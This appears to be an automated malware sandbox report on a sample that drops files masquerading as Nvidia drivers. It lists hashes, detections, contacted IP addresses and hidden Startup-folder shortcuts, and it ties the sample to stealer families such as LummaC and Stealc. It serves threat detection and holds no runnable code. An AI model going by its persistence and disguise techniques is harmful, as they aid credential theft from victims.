	List of required items.vbs	Get hash	malicious	Unknown	Browse	104.21.9.168
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166 104.21.9.168 104.21.81.153
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166 104.21.9.168 104.21.81.153

Process:	C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1892352
Entropy (8bit):	7.94828236737595
Encrypted:	false
SSDEEP:	49152:eC+gj4JCdHVFAJtM8uYkOKyDq9AsMgx5F7ff5EkpXamt:e+UoMcJj+EBxL7JEkpXam
MD5:	6367FB8A64F997BE8D65536534BDD057
SHA1:	3EE062142DDE2330881566A63A92957037A0E6B3
SHA-256:	BDAE46A5CB1F1B6B9864B5E944ED5B2E24622D7385A196E0293F7B9DA59BDA5E
SHA-512:	ACE2DBBA313180A64F70F49C7763FB9DA23EF76B82548C8FA54A7D1E8D4810CAD83726FE532459660E12E4F6A9210DF09DD836EA28F1CC5A791A4873B95A274C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................J...........@...........................J.....].....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... ..*..@.......H..............@...tgrwqosf.p....0..p...J..............@...iapomrjr......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1892352
Entropy (8bit):	7.94828236737595
Encrypted:	false
SSDEEP:	49152:eC+gj4JCdHVFAJtM8uYkOKyDq9AsMgx5F7ff5EkpXamt:e+UoMcJj+EBxL7JEkpXam
MD5:	6367FB8A64F997BE8D65536534BDD057
SHA1:	3EE062142DDE2330881566A63A92957037A0E6B3
SHA-256:	BDAE46A5CB1F1B6B9864B5E944ED5B2E24622D7385A196E0293F7B9DA59BDA5E
SHA-512:	ACE2DBBA313180A64F70F49C7763FB9DA23EF76B82548C8FA54A7D1E8D4810CAD83726FE532459660E12E4F6A9210DF09DD836EA28F1CC5A791A4873B95A274C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................J...........@...........................J.....].....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... ..*..@.......H..............@...tgrwqosf.p....0..p...J..............@...iapomrjr......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.537196873554178
Encrypted:	false
SSDEEP:	384:cfwWhmmDybASNMJH5omqXtSkSCbrmzRZQ+4+aXM3E5CxYibYjDPC4GV2Wd/z:ihmmDybAmMppobl31+4J8058AnGnV
MD5:	3A14DCD85C597F6B51F3B5687D1043FA
SHA1:	6F2C8105339073D52E89BAAFD88630DF18A84305
SHA-256:	573460D6BD19D1813D996344CED20BA39655EE5B29CD80E5CDEB9D3077B056D2
SHA-512:	47F1ACC68A1BE6F35E54B26D3FFE0F6DAF64C011D7B289D0403884C8B09D3F2A9CD8D42A1194F5C500BCB1A6351885D288C6C2E3A956AF56A1F2BC95CD44B5EE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\............."...0..Z...........y... ........@.. ....................................`..................................y..O....................................y..8............................................ ............... ..H............text....Y... ...Z.................. ..`.rsrc................\..............@..@.reloc...............b..............@..B.................y......H........G...1...........................................................0..7.........(....}.......}.......}......\|......(...+..\|....(......0..7.........(....}.......}.......}......\|......(...+..\|....(......0..G.........(....}.......}.......}.......}.......}......\|......(...+..\|....(......(......0..j.......r...p.....r...p.....r5..p.....(....r[..p(.........(....o.........~....~....(.........~....~....(............0...........(....o ......(!....0..7.........(....}@......}

C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1461248
Entropy (8bit):	7.405346920581365
Encrypted:	false
SSDEEP:	24576:7CZ0v6c8cawPzUopzenuwMloUm8CG1Xw+Eahn3R5+8pzb2hyS333XuuW8888DGAn:7x6c8caYzUopzenuwMloUm8CG1Xw+EaK
MD5:	7CB559130BBD743D4CDB0891749C5643
SHA1:	7E8CB60118A778A23FE6215C790ACE9F730E87FB
SHA-256:	08C071698F610C4B2AD9A8C18FFAC37B4DB9728CFF608EB92E7C0728EE5A2482
SHA-512:	75D1C0C1F7A5B141847F6BDAB88DAD4BA2D71E6B857AE92F3B60053C98BC6C1672261BAA2871D8FA4F2823AF942278017ADFC2E08A6A6670EADC73FC57F7D6BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 33%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........"..<N.........(.@...F...............P....@.................................JL....@... ..............................@..0........)......................tP..........................,........................B..h............................text....>.......@..................`..`.data........P.......F..............@....rdata......p.......d..............@..@.bss.........0...........................idata..0....@......................@....CRT....4....`.....................@....tls.........p.......,..............@....rsrc....).........................@..@.reloc..tP.......R...X..............@..B/4..................................@..B/19......\... ...^..................@..B/31.................................@..B/45.................................@..B/57.....4............*..............@..B/70..................0..............@..B/81..................2..

C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.537196873554178
Encrypted:	false
SSDEEP:	384:cfwWhmmDybASNMJH5omqXtSkSCbrmzRZQ+4+aXM3E5CxYibYjDPC4GV2Wd/z:ihmmDybAmMppobl31+4J8058AnGnV
MD5:	3A14DCD85C597F6B51F3B5687D1043FA
SHA1:	6F2C8105339073D52E89BAAFD88630DF18A84305
SHA-256:	573460D6BD19D1813D996344CED20BA39655EE5B29CD80E5CDEB9D3077B056D2
SHA-512:	47F1ACC68A1BE6F35E54B26D3FFE0F6DAF64C011D7B289D0403884C8B09D3F2A9CD8D42A1194F5C500BCB1A6351885D288C6C2E3A956AF56A1F2BC95CD44B5EE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\............."...0..Z...........y... ........@.. ....................................`..................................y..O....................................y..8............................................ ............... ..H............text....Y... ...Z.................. ..`.rsrc................\..............@..@.reloc...............b..............@..B.................y......H........G...1...........................................................0..7.........(....}.......}.......}......\|......(...+..\|....(......0..7.........(....}.......}.......}......\|......(...+..\|....(......0..G.........(....}.......}.......}.......}.......}......\|......(...+..\|....(......(......0..j.......r...p.....r...p.....r5..p.....(....r[..p(.........(....o.........~....~....(.........~....~....(............0...........(....o ......(!....0..7.........(....}@......}

C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.537196873554178
Encrypted:	false
SSDEEP:	384:cfwWhmmDybASNMJH5omqXtSkSCbrmzRZQ+4+aXM3E5CxYibYjDPC4GV2Wd/z:ihmmDybAmMppobl31+4J8058AnGnV
MD5:	3A14DCD85C597F6B51F3B5687D1043FA
SHA1:	6F2C8105339073D52E89BAAFD88630DF18A84305
SHA-256:	573460D6BD19D1813D996344CED20BA39655EE5B29CD80E5CDEB9D3077B056D2
SHA-512:	47F1ACC68A1BE6F35E54B26D3FFE0F6DAF64C011D7B289D0403884C8B09D3F2A9CD8D42A1194F5C500BCB1A6351885D288C6C2E3A956AF56A1F2BC95CD44B5EE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\............."...0..Z...........y... ........@.. ....................................`..................................y..O....................................y..8............................................ ............... ..H............text....Y... ...Z.................. ..`.rsrc................\..............@..@.reloc...............b..............@..B.................y......H........G...1...........................................................0..7.........(....}.......}.......}......\|......(...+..\|....(......0..7.........(....}.......}.......}......\|......(...+..\|....(......0..G.........(....}.......}.......}.......}.......}......\|......(...+..\|....(......(......0..j.......r...p.....r...p.....r5..p.....(....r[..p(.........(....o.........~....~....(.........~....~....(............0...........(....o ......(!....0..7.........(....}@......}

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3296768
Entropy (8bit):	6.655721818767042
Encrypted:	false
SSDEEP:	49152:kVF+M26kfUw7yoxeBqOo7NjGOTIkets5JsE8p7OuEFWH:e4M26kfUwGoxeBqV7BVtZheKuEU
MD5:	41F7104E635F418EC5A33D817B5324D9
SHA1:	7C9A3124D4BF236A560C6A865B0034F79A65F875
SHA-256:	3301F21B0E9B43873293F712C6A8ECCB7746C09207E0CEDCFE836D060862C6F8
SHA-512:	7DFD8E767BE1B7904FF44B90CBC973A577F831DB0DC81C44167838146A8912EFE3631510FCF37451396206613419CA6D0FA0554A74AF1764D50C056A3B66338E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2.......2...@.................................W...k............................>2..............................>2..................................................... . ............................@....rsrc...............................@....idata ............................@...fuapnweu..+.......+.................@...sdiwzxtv.....@2......&2.............@....taggant.0...P2.."...,2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_0337b408af9a4e6b835026f5a14df7c8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:40 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.935528661664402
Encrypted:	false
SSDEEP:	24:8HsBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8MBetVRbf0qa0PjtyF
MD5:	4BB7878759F5E97842064036F35CF94E
SHA1:	D70D01D28CFAA02554B856E39B7DCA3818BB0CCF
SHA-256:	401FA85CC63782A37867E0EAFF2DB9A0943E695A81C7A11FC74755CD20ACA5E5
SHA-512:	83A52063EC5A160B387C81579B866BEB868517C2AF69FEE229542C3903A8C5D44F1BA55BCE0DDFF904EA405684B052A2CAC84C3F0F29B6D77AA58A3263C0C735
Malicious:	false
Preview:	L..................F...."...'S...I..r....I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_0a509360e9e545b68da05213f779415b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:41 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.93646394526828
Encrypted:	false
SSDEEP:	24:8HdxBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:89xBetVRbf0qa0PjtyF
MD5:	946B9DBBE7EAF3648993D8407C67A82E
SHA1:	5E5A28288C8C2F7C1E2D1D7FFFF013179C2862D8
SHA-256:	6266C627747221B7E2F2DEFE78BDC150841B02AF678DCCC632175874C702A668
SHA-512:	4B9237AF13247FA094933118FEEECF993D58CA13342BE56C0AE29465C2A445D4427D75A784F9B46E4E80F481BBBCBEDB08F6AC91CB0C2BE1D32823243DB3841E
Malicious:	false
Preview:	L..................F...."...'S...I...#`..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_18ffc5a1725442b398f31d86a5253020.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:51 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.933902314377249
Encrypted:	false
SSDEEP:	24:8H2Betq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:8WBetVRVf0qa0PjtyF
MD5:	F39375C5E400A1475A2776F431157AE8
SHA1:	79FA7E51B003551A5D10AC942B7EE955C3E3AB3C
SHA-256:	2476DF15193BFF7B2FAB04EF276BD918A3E9B7A6618F408C7AC9A9D66FA487AA
SHA-512:	43428A5DB8A0CA479E02171BE0B99CBEB9C3B7F998B16F8EC698D47ACCEA995A481B2CC7C451657DAEDDD818F3DEABA12B30962A1B1C2B11D02A8A3015657661
Malicious:	false
Preview:	L..................F...."...'S...I..7.#..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_29431715c0454c79b9fd4c99c9087c86.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:53 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.930329354641711
Encrypted:	false
SSDEEP:	24:8nrBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8rBetVRVf0qa0lECjtyF
MD5:	F437A4B1859658A74A684809B2C54DE0
SHA1:	7BA9E067946300D1008D24DD2A45F2D8855EF738
SHA-256:	9CFECC8F8BEB28D07158CBB08DA4086B33FEC84EAD27ED5B276A12CA00F49133
SHA-512:	AD4116D61A5C2261A5589499903DABD768C2D694AA420CB95CC842D0442D891EC5B667560E78A656A07C82B6EFD6C5BF4A72BFF9446F69C07A6122FC51968240
Malicious:	false
Preview:	L..................F...."...'S...I....a..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_2b2dd6f89d0648b49b19fb6d0049ab97.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:38 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.937805312330312
Encrypted:	false
SSDEEP:	24:8HZBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:85BetVRbf0qa0PjtyF
MD5:	DCEB49149AE5A2F474FEEE8E87F5EAAB
SHA1:	1E77A1E34CF245A186E61F88C9924F8861A397FE
SHA-256:	D83A0D878D66BFF4A762CF81BEE1C1A39FCCF967F5ABB4CAAFA21E27CACDEDD1
SHA-512:	0CFD19CFDB2155572899EB250DFC56120B3772898A3B70C980E84D0604F4466E41654C3E8DDC9FD415DDD617BF157EADA5431184B6131FDE2D089A37F3BEA4B6
Malicious:	false
Preview:	L..................F...."...'S...I...bX..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_2e4768b1e3b147a5bd970a59e886abc7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:57 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.932572360223889
Encrypted:	false
SSDEEP:	24:8nkBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8kBetVRVf0qa0lECjtyF
MD5:	BAB83CF04A82E526DA891B649B92ED79
SHA1:	9CADDA15EBA3A6CBB07C7C937DA439157237ABFD
SHA-256:	68D3B3F8E50CF29F4C41027B78723FADABD011FAC92F13714730E45810EF731D
SHA-512:	E306455300C863E024895F53AF6BA09C5D1BA0255222D4209E12F211DAE2B2211C3862A7572EE28CA6C935AD120C077B2739F8A5746F64B4F69790E1B531D1D4
Malicious:	false
Preview:	L..................F...."...'S...I.....I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_318d6c1d27b14600820d5c1954e1143f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:40 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.928928220734771
Encrypted:	false
SSDEEP:	24:8nj+Betq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8j+BetVRbf0qa0lECjtyF
MD5:	5638D459CD6F5B8E9359E495832F7EFE
SHA1:	2463F0F0C88CD59A58146928DEF4D70EB04A16D5
SHA-256:	E9C04A99E10218622EAEA826C7CA7A1C061C3F5FD2C4D989C7F9EE880778CBC3
SHA-512:	18A9579623F35F8A547C3F9A37A35DF64BF3BE898C3C51A2D7B11D0060B8FE7D1C8764D9171A9FE95E9862F211F226F4957F7F1A7306FFD0B1C170B3B4E82DC5
Malicious:	false
Preview:	L..................F...."...'S...I...S...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

